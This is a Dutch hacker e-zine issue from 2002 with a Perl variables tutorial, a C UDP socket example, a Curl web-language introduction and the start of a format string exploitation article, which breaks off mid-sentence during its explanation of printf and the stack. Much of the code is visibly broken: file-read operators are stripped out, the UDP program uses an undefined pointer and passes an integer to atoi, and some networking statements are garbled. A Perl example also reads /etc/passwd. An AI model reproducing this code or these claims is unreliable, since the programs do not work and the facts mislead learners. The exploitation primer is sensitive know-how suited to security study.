___ ___ _____ ___ ___ / | \ / | | / | \ / ~ \/ | |_/ ~ \ \ Y / ^ /\ Y / \___|_ /\____ | \___|_ / \/ |__| \/ +-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+ |h|a|c|k|e|r|s| |4| |h|a|c|k|e|r|s| |1|0| +-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+ http://www.hackers4hackers.org '08-04-2002' Om je aan of af te melden bij de mailinglijst ga je naar www.hackers4hackers.org Artikelen en dergelijke kun je mailen naar artikel@hackers4hackers.org. Vragen kun je mailen naar de desbetreffende auteur of naar post@hackers4hackers.org. Uitspraak: [ Nynex: en ik voorspel dat over 100 jaar, computers 2 keer krachtiger zullen ] [ zijn dan nu, 100 keer groter, en zo duur dat alleen de 5 rijkste ] [ koningen van europa ze kunnen betalen ] Enkele interessante sites: http://www.outerbrains.nl http://www.securitydatabase.net http://www.security.nl http://www.whatis.com http://www.klaphek.nl http://www.hack.vuurwerk.nl http://www.dsinet.org http://www.startplaza.nu http://www.faq4hackers.com http://www.packetstormsecurity.com/docs/hack/i.only.replaced.index.html.txt ========================================================================== Interactieve Media ========================================================================== Nieuwe hbo-opleiding aan de Hogeschool van Amsterdam: De wereld van de interactieve media komt in een nieuwe groeifase nu het internet een normaal onderdeel wordt van bedrijfsprocessen. De kunst is natuurlijk nog steeds om toepassingen te bedenken waar gebruikers echt wat aan hebben. Dat leer je bij ons de praktijk. meer informatie http://www.interactievemedia.hva.nl/index04.htm ========================================================================== 01. Disclaimer................................................. (Redactie) 02. Inleiding.................................................. (Redactie) 03. Perl voor beginners - deel 2............................... (Asby) 04. UDP Protocol............................................... (skyrim) 05. Curl....................................................... (sw00zh) 06. Exploiting Formatstring.................................... (atje) 07. Common Gateway Interface................................... (Razor) 08. Evenementen................................................ (Redactie) 09. Programmeren in C.......................................... (Razor) 10. Kort....................................................... (Redactie) 11. Hackers 4 Hackers onder de loep............................ (MrFreeze) ------------------------------------------------------- 01. Disclaimer ------------------------------------------------------- We zijn niet verantwoordelijk voor datgene wat jullie met deze informatie doen. Deze informatie dient alleen voor educatieve doeleinden. Als je in de problemen komt, kan je ons niks verwijten. Gebruik maken van deze informatie kan strafbaar zijn. Meningen van auteurs hoeven niet hetzelfde te zijn als die van de redactie. Correspondentie met de redactie is mogelijk per email : Algemeen - h4h-redactie@hackers4hackers.org Vragen e.d. - post@hackers4hackers.org Artikelen - artikel@hackers4hackers.org ------------------------------------------------------- 02. Inleiding ------------------------------------------------------- Ok, een korte inleiding dit keer. Hoi, Dit keer houden we de inleiding lekker kort. We kunnen namelijk ons wel weer gaan verontschuldigen dat het zo lang geduurd heeft dat er weer een nieuwe H4H is uitgekomen, maar dat doen we niet. We kunnen vertellen dat we het druk hebben met Outerbrains, werk, organiseren van H4H meetingen, maar dat doen we ook niet. Wel kunnen we zeggen dat we nog steeds staan te springen om artikelen. Hoe meer artikelen we binnen krijgen (kwalitatief gezien dan) des te eerder komt er een H4H (doe daar een factor luiheid van ons bij), dus stuur in die artikelen. Of opsturen mag ook. Misschien red ik mijn dertig delige perlcursus (mijn levenswerk) nog wel af. ttfn, Asby (namens H4H) PS Veel leesplezier ------------------------------------------------------- 03. Perl voor beginners - deel 2 ------------------------------------------------------- #!/usr/bin/perl -w use strict; undef $/; my @data=; print @data; __DATA__ --[Inleiding Dit is dus mijn tweede artikeltje over perl. Deze keer gaan we het wat meer over variabelen hebben. Ja, dat hebben we vorige keer ook al gehad, maar ik ga er even wat dieper op in dit keer. Allereerst wil ik jullie vertellen dat perldoc een heel handig tooltje is om help te krijgen bij je perl coden. Wie te lui is om uit te zoeken hoe perldoc werkt (Goh, perldoc perldoc) kan altijd online http://www.perldoc.com raadplegen. Goed dat was even om mee te beginnen. In het kort ga ik dit keer vertellen over een aantal standaardvariabelen die perl gebruikt en over leuke trucjes die je uit kan halen met variabelen. En aangezien ik het de vorige keer over het openen/sluiten en dergelijke van bestanden heb beloofd, zal dat ook aan bod komen. Voordat we beginnen, eerst nog een gedichtje. ------ time to party, Craig Counterman, April 27, 1991 ------ # time to party <<; done with my thesis shift @gears; study($no_more); send(email, to, join(@the, @party, system)); open(with, ">a happy greeting"); time, to, join (@the, flock(with, $relaxed), values %and_have_fun); connect(with_old, $friends); rename($myself, $name = "ilyn"); $attend, local($parties); pack(food, and, games); wait; for (it) {;}; goto party; open Door; send(greetings, to, hosts, guests); party; tell stories; listen(to_stories, at . length); read(comics, $philosophy, $games); seek(partners, $for, $fun); select(with), caution; each %seeks, %joy; $consume, pop @and_food; print $name .$on .$glass; $lasers, $shine; while ($batteries) { last;}; time; $to, sleep sin, perhaps; $rest, $till .$next .$weekend; --[Scalars Hieronder een opsomming van variabelen die al bestaan in perl. En ze hebben allemaal hun eigen functie. Zoals je ziet heb je korte benamingen en lange benamingen. Als je gebruik wilt maken van de lange benamingen zal je je programma moeten beginnen met 'use English;' $_ ($ARG) Ok, deze wordt heel vaak gebruikt. Waarom dan? vraag je je natuurlijk af. Nou.. dat zal ik jullie eens vertellen. $_ is de grote dump variabele van perl. Ik zal het verduidelijken met wat voorbeeldjes. while{ chomp($_); $_ =~ s/bla/moo/g; if ($_=="exit"){ print "blaat"; } } Let niet op wat ik in dit voorbeeld doe, want dat slaat nergens op, maar je ziet dat alle invoer die vanuit de while loop komt in $_ word gedumpt. En dat je daarmee verschillende handelingen kan uitvoeren. Let wel op, $_ bestaat alleen in de while loop. $cijfer (bijv. $1) Hier ga ik later nog op terugkomen. Als ik dit nu moet uitleggen ben ik al weer een heel artikel verder. Hetzelfde verhaal geld voor $& ($MATCH), $` ($PREMATCH), $' (POSTMATCH), $+ ($LAST_PAREN_MATCH) en $* ($MULTILINE_MATCHING). Dit heeft allemaal te maken met reguliere expressies. En om dat uit te leggen is een artikel op zich. $PROGRAM_NAME $0 Dit heeft weer niks te maken met de hierboven genoemde variabelen. $0 is gewoon de bestandsnaam van het bestand. Altijd handig. if (!$ARGV[0]){ print "Usage: $0 \n\n"; exit; } $INPUT_LINE_NUMBER $NR $. Dit geeft zoals het zelf al aangeeft het nummer van de lijn weer. Zie het volgende voorbeeld: #!/usr/bin/perl while (<>) { print "$.\t$_"; } Als je dit runt met: perl proggie.pl < proggie.pl krijg je de volgende output: 1 #!/usr/bin/perl 2 3 while (<>) { 4 print "$.\t$_"; 5 } Let wel op dat je $/ niet verandert, anders krijg je een hele andere output. $INPUT_RECORD_SEPARATOR $RS $/ Dit is de input record separator, standaard is dit "\n" oftewel newline. Het is een string en kan in principe alles worden. Als we vorig voorbeeld erbij pakken en er bijvoorbeel $/="i"; erbij zetten op de tweede regel dan krijg je de volgende uitvoer: 1 #!/usr/bi2 n/perl $/="i3 "; whi4 le (<>) { pri5 nt "$.\t$_"; } In plaats van dat hij nu bij elke newline een cijfer en een tab neerzet doet hij dit bij elke i. Het is vooral handig als je een tekstbestand in een variabele wil lezen. Dus net zoals het artikel gestart is. $OUTPUT_FIELD_SEPARATOR $OFS $, Dit is de waarde voor de print operator. Normaal print print gewoon wat er staat, maar als je $, aanpast geef je aan wat er tussen velden moet komen. Zie het voorbeeld: #!/usr/bin/perl $,="###"; $a = "patat"; $b = "thee"; print $a,$b,"\n"; Als je dit runt krijg je als uitvoer: patat###thee### $OUTPUT_RECORD_SEPARATOR $ORS $\ De tegenovergestelde van $/. Dit is wat men bij de output weergeeft. Standaard is it "", zie volgend voorbeeld: #!/usr/bin/perl $\="\n"; @bla=qw(a b c d e f g h i j); foreach (@bla){ print; } Dit print netjes onder elkaar a t/m j. $FORMAT_PAGE_NUMBER $% De huidige pagina nummer. Hier zal ik nog in een van mijn artikelen op terugkomen. Tevens zal ik daar dan de andere format variabelen behandelen, zoals: $-, @-, $=, $~, $^, $:, $^L, $^A $OS_ERROR $ERRNO $! Je hebt verschillende Error Indicatoren. Maar deze is het meest gebruikte en zal ik ook als enige behandelen. $ perl -le 'open (FILE, "bestaatniet") || die "$!\n";' No such file or directory Gebruik $! altijd bij het openen van bestanden of sockets, zodat je weet wat er precies fout gaat. $PROCESS_ID $PID $$ Zoals het zelf al zegt, deze variabele geeft de pid weer. $ perl -wle 'print "$$\n"' 21825 $REAL_USER_ID $UID $< Dit spreekt ook voor zich, Dit geeft de UserID weer. $EFFECTIVE_USER_ID $EUID $> Dit geeft de effectieve UID weer. $REAL_GROUP_ID $GID $( En we hebben ook de GID. $EFFECTIVE_GROUP_ID $EGID $) En de Effectieve GID. $[ Dit geeft de eerste waarde weer van een array. Normaal is dit 0. $ perl -wle '$[="1";@_=qw(a b c d e f);print "$_[3]\n"' c Zoals je ziet wordt in plaats van de verwachtte uitkomst 'd' een 'c' geprint. Dit komt doordat $_[0] niet bestaat omdat hij bij $_[1] begon te tellen. $] De versie + patchlevel/1000 van de Perl interpreter. Makkelijk als je wilt kijken of er een goede perl versie is geinstalleerd. Maar dat kan makkelijker met 'use VERSION' of 'require VERSION' --[Arrays In perl heb je ook een aantal voor gedefinieerde arrays. Het zijn er niet zo veel als scalars, dus wees maar niet bang. @ARGV In de array @ARGV staan alle command-line argumenten. $ARGV[0] is in dit geval het eerste argument en niet de filenaam. $0 is het bestandsnaam van de executable. if ($#ARGV<2){ print "Usage: $0 \n\n"; exit; } @INC Ook een veel voorkomende array is @INC. In deze array staan de directory's waar perl libraries zoekt die aangeroepen worden door de commando's require en use. @_ Als er bij een subroutine parameters worden meegegeven dan staan ze in @_. $ perl -wle '&x(10,5);sub x{($x,$y)=@_;print "$x + $y = ",($x+$y);}' 10 + 5 = 15 --[Hashes Ja, daar hebben ze ook nog een aantal standaarden van. Wees gerust het zijn er niet veel. %INC Hierin staan de bestanden die gekoppeld worden via use en require. Deze staan vermeld als sleutel en de waarde is het path waar het bestand is gevonden. $ perl -wle 'use IO::Socket;foreach (keys %INC){print "$_\t $INC{$_}";}' Symbol.pm /usr/lib/perl5/5.005/Symbol.pm Carp.pm /usr/lib/perl5/5.005/Carp.pm Config.pm /usr/lib/perl5/5.005/i386-linux/Config.pm ... %ENV Oftewel environment. Deze hash bevat de omgeving gegevens waar je momenteel inzit. $ perl -wle 'foreach (keys %ENV){print "$_=$INC{$_}";)' HOSTTYPE=i386 LANG=C HZ=100 LOGNAME=asby MAIL=/var/spool/mail/asby ... %SIG Deze bevat Signal handlers voor signals. $ perl -wle '$SIG{"QUIT"}= print "We stoppen jongens!\n\n"' We stoppen jongens! Hiermee kan je dus nog sockets of bestanden sluiten als die nog openstaan. --[Arrays in Arrays In dit stukje zal ik het hebben over wat voor leuke dingen je met arrays kan doen, zoals ze bijvoorbeeld in elkaar stoppen. @blaat = ( ["aardbei", "banaan"], # 0 ["citroen", "druif"], # 1 ["epileren", "filatelist"]); # 2 print $blaat[1][0]; citroen Zoals je ziet hebben we nu een array in een array zitten. Maar wat nu als je de array in een array structuur on the fly in elkaar wilt zetten. while (<>){ @bla = split; push @blaat, [@bla]; } of korter: while (<>) { push @blaat, [ split ]; } op deze manier voeg je dus nieuwe rijen toe, maar wat nu als je nieuwe columns wilt toevoegen? push @{ $blaat[0] }, "pindakaas", "paasei"; Waarom de @{} vraag je je natuurlijk af, dit omdat push een array wil zien en niet een scalar of reference. Voor de rest is het gewoon leuk om hier eens mee te spelen. --[ Bestanden bewerken Ik heb het beloofd dus nu moet het er van komen ook. Ik zal jullie uitleggen hoe je bestanden kan openen, sluiten en bewerken. Het is allemaal niet zo moeilijk. open(F,"/etc/passwd"); @file=; close(F); In het voorbeeld hierboven open ik een bestand en stop het in een variabele. En vervolgens sluit ik het bestand ook weer netjes. Je kunt op verschillende manieren een bestand openen. open(F,">file.txt"); open het bestand om naar te schrijven. Op het moment dat je het bestand opent is het bestand leeg, dus pas er op als dit dus niet de bedoeling is. open(F,">>file.txt"); open het bestand om naar te schrijven. Hier wordt de tekst onder in het bestand bijgeplaatst en niks verwijdert. open(F,"file.txt"); of open(F,"\n\n"; exit; } $bestand = $ARGV[0]; open(F,$bestand); $_ = ; close(F); $_ = reverse $_; open(F, ">$bestand"); print F $_; close(F); In bovenstaand voorbeeld een mooi voorbeeld wat je zoal met al het geleerde in dit artikel kan doen. Ok, je moet even weten wat de reverse optie is, maar een beetje zoeken met perldoc of op www.perldoc.com helpt je al snel verder. En als afsluiter weer enkele oefeningen: 1. Schrijf een zo kort mogelijk programma, die het volgende doet (een soort perl golf, maar dan met alleen het geleerde): Als je het programma runt print het: "h4h h4h h4h"; De leukste inzendingen komen volgende keer in h4h. 2. Schrijf net zoals boven een systeem dat files encrypt en decrypt. Dus een two way encryptie systeem. Ook hier de leukste inzendingen komen in de volgende h4h. 3. Schrijf je eigen 'Just another perl hacker'. Je kan spelen met loops, reverse, de standaard variabelen. Verzin zelf maar iets leuks. Voor meer info gebruik google. En hiervan hoef ik geen inzendingen te hebben, aangezien het internet er vol meestaat en ik te lui ben om dat allemaal na te gaan kijken op plagiaat. Ik ben ten slotte een perl coder :P Dit was hem weer voor deze keer. Het volgende artikel zal ik iets meer vertellen over reguliere expressies en misschien zal ik tegen die tijd een begin maken met mijn artikel over Perl/Tk. Mochten er nog verzoekjes zijn voor artikelen, vragen, huwelijksaanzoeken (ik ben nog vrijgezel), flames, etc. mail me op perl@hackers4hackers.org. ttfn, Asby ------------------------------------------------------- 04. UDP Protocol ------------------------------------------------------- About: ---- UDP staat voor User Datagram Protocol. Dit protocol is gedefinieerd door DoD. (Department of Defence) Via dit communicatie protocol kunnen data-pakketjes worden verzonden zonder een werkelijke connectie tot stand te hebben gebracht. Dit protocol is een layer 4 protocol (transport layer van het OSI model) binnen het Internet Protocol. UDP packets hebben in tegenstelling tot onderliggende level headers een UDP header, die bestaat uit een checksum, packet grootte, source, en destinatie porten. Net als bij TCP zijn UDP porten 16-bit, dus er is een maximaal aantal porten van 65535 per IP adres. UDP wordt vaak gebruikt voor online gaming. De programmeurs kunnen hiermee makkelijk gegevens van clients ontvangen zonder een verbinding tot stand te brengen, wat dus veel meer bandbreedte zou vreten. Het enige nadeel van dit handige pakketjes-verzenden-protocol is dat er niet wordt gegarandeerd dat een data-pakket aan kan komen: Het verzend, en sinds het geen streaming connectie heeft, in tegenstelling tot het veel gebruikte Transmission Control Protocol, kan er niet worden gecheckt of het wel werkelijk is aangekomen, tenzij de programmeur van de server zoiets heeft in-geprogrammeerd. [UDP formaat] 0 7 8 15 16 23 24 31 +--------+--------+--------+--------+ | source address | +--------+--------+--------+--------+ | destination address | +--------+--------+--------+--------+ | zero |protocol| UDP length | +--------+--------+--------+--------+ Het protocol gaat ervan uit dat het IP (Internet Protocol) als onderliggend protocol wordt gebruikt, en is hier dus ook volmaakt voor. Bij ander soort protocollen zul je al snel problemen krijgen. DNS (Domain Name System/Domain Naming Services) ---- DNS is een voorbeeld van een applicatie-layer dat gebruik maakt van UDP. Wanneer een DNS applicatie in een host een query wilt maken, maakt het een DNS query message aan en stuurt die door naar een UDP socket. Zonder eerst kennis te maken met de servers etc., voegt UDP een header field toe aan de message en stuurt deze resulterende segment door naar de netwerk layer. De netwerk layer neemt het UDP segment op in een datagram en stuurt deze naar een name server. Dan wacht de DNS applicatie voor een antwoord. Krijgt het geen antwoord, (mogelijk vanwege het feit dat UDP de aanvraag of het antwoord kwijt is) probeerd hij het naar een andere DNS- server te sturen, of het laat weten dat hij niets heeft teruggekregen. Applicaties die gebruik maken van UDP als onderliggend protocol: ---- remote file server (NFS ) streaming multimedia ( ) Bellen via internet ( ) Network Management (SNMP) Routing Protocol (RIP ) Name Translation (DNS ) Waarom UDP meer wordt gebruikt dan TCP voor Internet applicaties ---- . Geen connectie checking; TCP gebruikt een 3-way 'handshake' voordat het begint met data te verzenden en ont- vangen. UDP daarintegen begint meteen, en is daarom sneller. Dit is ook waarschijnlijk de reden waarom TCP over UDP gaat en niet over TCP; Het zou veel langzamer zijn wegens de delay. . Geen packet checking; TCP zorgt voor een streaming connectie: beide computers moeten online zijn en de connectie mag niet worden onderbroken. Bij deze connectie zitten ontvang- en verzendbuffers, control parameters en nog een aantal dingen. Deze worden allemaal gecheckt of het goed word verzonden en goed aankomt, wat dus ook weer vertraging opleverd. UDP daarintegen verstuurt zonder te checken. . Kleinere segment header; Waar TCP 20 bytes van header heeft in elke packet, heeft UDP maar 8 bytes. . Onregelmatig versturen; TCP heeft een controle mechanisme dat de verzender doet verhaperen wanneer het een of meer links tussen de verzender en ontvanger heeft gedecteerd. Dit kan een enorme packet-loss veroorzaken maar eist een minimaal verstuur ratio. Aan de andere kant hangt de snelheid van UDP af van het systeem; CPU, clock rate, etc., en de bandbreedte van de toegang tot Internet. Wij zullen nu zelf een datagram packet versturen naar www.hackers4hackers.org op poort 666 in de programmeer- taal "C". (C kennis vereist om het volledig te snappen ;) Coden met UDP: ---- Om te beginnen adden we de standaard header files, normaal gesproken zijn dit , , , , en :) * #include * #include * #include * #include * #include * #include Vervolgens declaren we main(); * int main(void) { * .. Goed, zonder de socket structure, die is gedefinieerd in socket.h, zou onze compiler ook niet snappen wat hij precies zou moeten doen. We assignen "daar" en "hier" aan als de structure sockaddr_in, en maken een paar int pointers die we nodig zullen hebben (waaronder de socket). * int mijnsocket, lengte; * char mijnboodschap[666]="hoi daar ik ben een programma dat via UDP praat." * struct sockaddr_in daar; * struct hostent *blaat; Vervolgens open we een UDP socket door middel van: * mijnsocket=socket(AF_INET, SOCK_DGRAM, 0); * daar.sin_family = AF_INET; Zoals je kunt zien is het tweede argument gedefined als SOCK_DGRAM, wat dus naar ons soort protocol (UDP) verwijst. We doen geen error checking want daar heb ik geen zin in.. * blaat = gethostbyname("www.hackers4hackers.org"); /* wie ben jij? */ * bcopy((char *)blaat->h_addr, * (char *)&daar.sin_addr, * hp->h_length); * daar.sin_port = htons(atoi(666)); * lengte=sizeof(struct sockaddr_in); Nu de hostnaam een nummertje heeft gekregen, en welke port is defined om naar te sturen, kunnen we eindelijk ons sendto(); commando gebruiken. * sendto(mijnsocket,mijnboodschap, strlen(mijnboodschap),0,&daar,lengte); * return(0); * } Viola, ons programma stuurt het berichtje "hoi daar ik ben een programma dat via UDP praat." naar de host www.hackers4hackers.org op UDP port 666, door middel van het UDP protocol en dus zonder een verbinding te hebben gemaakt. Als wij zelf UDP pakketjes willen ontvangen voegen wij toe: * struct sockaddr_in hier; * recvfrom(mijnsocket,mijnboodschap,666,0,&hier, &lengte); Dit is alweer het einde van ons artikel over het UDP protocol, ik hoop dat je er wat van hebt geleerd. ----------------- door skyrim, shouts naar MsH, DFA & H4H ------------------------------------------------------- 05. Curl ------------------------------------------------------- ** Inleiding ** In dit artikel leg ik je de basics uit over de vrij nieuwe taal voor webpagina's: Curl. De meeste mensen kennen deze taal nog niet, dus daar komt dit artikeltje mooi van pas. ** Geschiedenis ** Curl is gestart als een onderzoek project op Massachusetts Institute of Technology (MIT) rond 1986. Pas in februari 1998 werd de eerste versie van Curl geboren. De eerste commerciële versie, versie 1.0, kwam uit op 28 Maart 2001. Op 10 juli kwam versie 1.1 uit. Zie hier de pagina over toen Curl nog in ontwikkeling was: http://www.cag.lcs.mit.edu/curl/ Curl is gebaseerd op verschillende soorten grote programmeertalen, zoals C/C++ en Java. Daarom is het voor deze programmeurs ook makkelijk om over te stappen op deze nieuwe taal. Er wordt door de makers beweerd dat Curl de webpagina's sneller maakt, dit omdat verschillende talen worden gecombineerd. Zo zijn normaal HTML en een Java applet qua code gescheiden. Bij Curl hoeven deze code niet gescheiden te zijn, dus dan is de snelheid sneller, omdat alles is gecombineerd. Om pagina's te zien die in Curl zijn gemaakt, moet er een aparte plugin gedownload worden, die natuurlijk gratis is. Deze heet "Surge Software Platform 1.2" en is hier te vinden: http://www.curl.com/html/products/surge.jsp Om Curl pagina's te ontwerpen kan het gratis pakket "Surge Lab Integrated Development Environment (IDE) 1.0" gedownload worden. Die bevat een uitgebreide (Engelse) cursus met voorbeelden, waarvan je kan leren. Deze kan hier worden gevonden: http://www.curl.com/html/products/surgelab.jsp Voorlopig zijn beide pakketen alleen nog voor Windows systemen. Er is wel inmiddels al een beta pakket beschikbaar voor Linux systemen en voor de overige systemen wordt ook aangewerkt. ** Voorbeelden van Curl pagina's ** Met Curl kan haast alles wat ook met normaal HTML kan, maar daarnaast kunnen ook mooie applets gemaakt. Ik heb een aantal pagina's opgezocht, die je kan bekijken als je de plugin hebt gedownload. Dan kun je zien hoe mooi en snel sommige Curl pagina's zijn. http://www.curl.com/demos/graphics/raytrace/tutorial.curl?_tag=gallery http://www.curlexamples.com/examples/139/start.curl http://www.curl.com/html/developers/examples.jsp http://www.caitlinst.com/curl/invaders/si.html ** Beginnen met Curl ** Als je de voorbeelden heb gezien, wil je vast wel zelf aan de slag met Curl. Verwacht nou niet gelijk dat je ook zulke pagina's kan maken gelijk, maar oefening baart kunst :) Voor Curl is geen HTML ervaring nodig, wat je eigenlijk wel verwacht. Curl gebruikt wel bekende termen uit de HTML-taal, maar niet op dezelfde manier. Eigenlijk zou je zonder enige ervaring aan Curl kunnen beginnen. Laten we beginnen met een simpele pagina te maken. We starten eerst het programma op voor ontwikkelaars, wat gedownload kan worden op een bovenstaande pagina. We zien nu 3 verschillende vensters. Linksboven een voor een overzicht van de files, erg handig al werk je met meerdere files. Rechtsboven een voor de code en onderin eentje voor de errors na het compilen. We gaan nu onze eerste pagina schrijven met 'Hello World'. Op de eerste regel geven we aan in wat voor versie het ontwikkeld is. Al heb je net het pakket gedownload voor ontwikkelaars is het 1.7. Op de regel daarna geven we aan wat voor licensie het applet heeft. Daaruit kunnen we kiezen uit: - development - personal - licensed Bij ons is het dus development. Normaal gesproken zou het personal zijn. Een bedrijf moet 'licensed' met een nummer erachter, omdat die moet betalen voor Curl pagina's te ontwerpen ofzo. Dan wordt het dus zo: {curl 1.7 applet} {applet license = "development"} Daarna kan de code worden neergezet of gewoon de tekst die je op de pagina wilt. Bij ons word de code van onze eerste pagina dus: {curl 1.7 applet} {applet license = "development"} Hello World Als je nu drukt op 'Run File' en in je browser kijkt, zie je als het goed is 'Hello World' staan. Zoals bij de meeste talen, is het handig als je commentaar tussen je code zet. Ook bij Curl kan dat natuurlijk. Op de volgende manieren kunnen we commentaar toe voegen: || Op een lijn commentaar || Achter een code commentaar |# Tussen de code #| |# Meerdere regels commentaar #| Bij de voorbeelden hierboven moeten nog wel de eerste 2 regels bij. En is dus een willekeurige code. Nu gaan we er meer een echte pagina van maken, zoals je een HTML pagina gewend bent. We geven de pagina een naam, een achtergrondkleurtje, etc. {curl 1.7 applet} {applet license = "development"} {title heading? = false, Hello World } Als je deze pagina nou runt, zie je de titel "Hello World" is. De regel 'heading? = false' moet erbij, want anders zie je een titel op de pagina zelf ipv in de browserbalk. Om bijvoorbeeld een pagina een achtergrond kleur te geven, moet je gebruik maken van het volgende: {set-document-properties background = "red" } In plaats van red kan je natuurlijk ook andere kleuren of kleurcodes (bv. #000000) doen. Al wil je een plaatje als achtergrond kan dat op de volgende manier: {set-document-properties background = {url "mijn_logo.jpg"} } Met set-document-properties kan je nog veel meer dingen instellen. Maar daar kom ik in een volgend deel misschien wel op terug. Nu gaan we de eigenschappen van de tekst veranderen. Dit doen we op de volgende manier: {text font-family = "verdana", || Het soort lettertype color = "black", || De kleur van de tekst font-size = 12px, || De grootte van het lettertype font-style = "italic", || Schuine tekst text-underline? = true, || Onderstreept font-weight = "bold", || Dikgedrukt hello world! || De tekst met de eigenschappen hierboven } De mensen die normale webpagina's ontwerpen, herkennen sommige dingen vast wel, want bij CSS gebruik je ongeveer dezelfde soort begrippen. Als je een van de eigenschappen niet wilt, moet je die dus gewoon weglaten. Het laatste wat ik uitleg is hoe een link te maken. Dit doen we op de volgende manier: {link href = {url "http://www.hackers4hackers.org/"}, Hackers 4 Hackers } {br} {link href = {url "http://www.kinderen4kinderen.org/"}, target="New Browser", Kinderen 4 Kinderen } {br} was ik nog vergeten uit te leggen, maar dat is dus hetzelfde als
in HTML, dus op een nieuwe regel beginnen. De voorbeelden hierboven hebben denk het niet veel extra uitleg nodig. ** Links naar Curl pagina's ** Hieronder nog wat links naar handige Curl pagina's. Meer pagina's zul je vast niet tegenkomen, omdat er nog maar weinig mensen Curl gebruiken. Hier de links: Curl Corporation - http://www.curl.com/html/ curlBreaker.com - http://www.curlbreaker.com/ CurlExamples.com - http://www.curlexamples.com/ Curl FAQ - http://www.curl.f2s.com/faq/ ** Afsluiting ** Misschien dat er nog een tweede deel komt, maar dat ligt er aan hoeveel tijd ik over heb en of ik me nog eens verveel. Af en toe houd Curl zelf ook nog een programmeerwedstrijd, waarmee je flink veel geld kan winnen. Dus dat is misschien een goeie motivering om Curl te gaan leren :) Zie http://www.curl.com/html/developers/contestmain.jsp voor meer info daarover. Nog ff de groeten aan alle mensen in #dd,#moenen,#ddb,#hoepelkoe en natuurlijk #h4h op irc.rizenet.org sw00zh - sw00zh@moenen.org http://www.dutchdevelopers.nl/ - http://www.moenen.org/ ------------------------------------------------------- 06. Exploiting Formatstring ------------------------------------------------------- Woord vooraf - ------------ Omdat er op dit moment nog geen Nederlandse text is over formatstring vulnerabilities, heb ik besloten om er een te schrijven. In navolging van Dvorak met zijn text over het schrijven van exploits voor bufferoveflows, zal ook ik niet het wiel opnieuw uitvinden. Deze tekst is dan ook voornamelijk gebaseerd op het uitstekende artikel van scut over dit onderwerp. Voor het begrijpen van dit artikel is niet al teveel voorkennis noodzakelijk, alhoewel ik er van uit ga dat er bij de lezer basiskennis over bufferoverflows aanwezig is. Mocht deze kennis ontbreken of niet toereikend zijn, dan kan als inleidend artikel Dvorak's tekst over bufferoverflows gelezen worden (een tekst die eveneens Nederlandstalig is). Benodigdheden - ------------- - - GCC compiler - - GDB - - perl (of een paar tieplustige vingers) - - een kleine dosis gezond verstand, gecombineerd met wat doorzettingsvermogen 1. Introductie ============== Dit artikel omschrijft de kenmerken van een fenomeen dat de security wereld in de tweede helft van 2000 op z'n kop zette. Met de zogenaamde "formatstring vulnerabilities" werd een compleet nieuw soort vulnerabilities ontdekt, hetgeen leidde tot een golf van ontdekkingen van fouten in programma's, varierend van eenvoudige utilities tot grote server software. In dit artikel probeer ik de structuur van deze vulnerabilitie uit de doeken te doen, om later met deze kennis over te gaan tot het bouwen van exploits die deze bug uitbuiten. Ook wordt het auditten van C broncode in deze tekst niet overgeslagen, zodat je aan het eind van deze tekst zelf op zoek kan gaan naar formatstring vulnerabilities in de broncode van derden. 2. De format functions en hun werking ===================================== Een format function is een speciaal type ANSI C function, die als een van zijn argumenten de zogenaamde formatstring heeft. Terwijl de functie deze formatstring doorloopt, benadert hij aan de hand van deze formatstring zijn overige argumenten. Het is een conversie functie, die gebruikt wordt om primitieve C datatypes (zoals int, float, enz) om te zetten naar een voor mensen leesbare ASCIIZ string. De formatfuncties worden in bijna ieder C programma gebruikt om informatie op het scherm te zetten, of om strings te bewerken. De formatstring is een normale ASCIIZ string die text en format parameters bevat. Bijvoorbeeld: printf("The magic number is %d\n", 2001); De tekst die op het scherm zal verschijnen is "The magic number is: ", gevolgd door de format parameter '%d', die in de werkelijke output vervangen zal worden door de parameter '2001' van de formatfunctie. Daarom ziet de output er als volgt uit "The magic number is: 2001" Enkele format parameters: parm | output | passed by - ------+-------------------------+----------- %d | decimal (int) | value %u | decimal (unsigned int) | value %s | string (char *) | reference %n | number of bytes written | reference | so far (* int) | - ------+-------------------------+----------- ............................................................................ Opmerking: Het '\' character wordt gebruikt voor de zogenaamde escape characters. Deze escapecharacters worden door de C compiler vervangen tijdens compile-time, waarbij het betreffende character wordt vervangen door het juiste character in de executable. Formatfuncties hebben niets met deze escape characters te maken, zo kan men in plaats van de formatparameter '%d' ook '\x25d' gebruiken, omdat tijdens de compile '\x25' wordt vervangen door '%'. ............................................................................ Het gedrag van de formatfunctie wordt dus bepaalt door de formatstring. De formatfunctie haalt de parameters die gevraagd worden door de formatstring van de stack. Aanschouw het volgende voorbeeld: int age = 20; float length = 1.90; char name[] = "casper"; printf("Ik ben %f meter lang, mijn naam is %s en ik ben %d jaar op \ deze planeet\n", length, name, age); Net als bij iedere functie worden de argumenten in omgekeerde volgorde op de stack gepushed, vanuit de printf functie ziet de stack er dan dus ook als volgt uit: - ---------------------------------------------------------------------------- bottom of memory top of memory top of stack bottom of stack ...[local][sfp][ret][&fmt][length][name][age]... - ---------------------------------------------------------------------------- waarbij [local] de lokale variabelen van printf zijn, [sfb] de saved framepointer en [ret] het return address waarna printf zal returnen als hij klaar is. Na het return adres volgen de argumenten van printf: het adres van de formatstring zelf, de hexadecimale representatie van 1.90, het address van de string "casper" en de hexadecimale representatie van 20. De formatfuctie begint met de verwerking van de formatstring door ieder character stuk voor stuk te bekijken. Als het character niet '%' is, kopiert hij het character op het scherm. Als het character wel '%' is, bepaalt het daarnavolgende character hoe de formatstring de parameter gaat benaderen. Behalve de '%%' string (die gebruikt wordt om het '%' character zelf te schrijven), bepaalt een formatparameter dus altijd hoe de formatfunctie zijn parameters behandelt. De formatfunctie houdt zelf een interne pointer bij, die wijst naar zijn volgende argument. In het bovenstaande voorbeeld wijst deze pointer dus eerst naar het adres op de stack waar de hexadecimale representatie van 1.90 is opgeslagen. Als de formatfunctie het speciale teken '%' tegenkomt, bepaalt hij aan de hand van het daaropvolgende character, in ons voorbeeld de 'f', hoe hij de parameter waar zijn pointer naar wijst gaat behandelen. Aan de hand van de %f formatparameter benadert printf zijn parameter als een float, en drukt deze op het scherm af. Hierna verhoogt hij zijn pointer met 8 bytes (sizeof(float)), zodat de pointer naar het adres van name wijst: - ---------------------------------------------------------------------------- bottom of memory top of memory top of stack bottom of stack ...[local][sfp][ret][&fmt][length][name][age]... ^ ^ | | | de format function heeft de formatparameter | %f afgehandeld, de waarde van variabele | length op het scherm gezet en daarna zijn | interne pointer verhoogd met 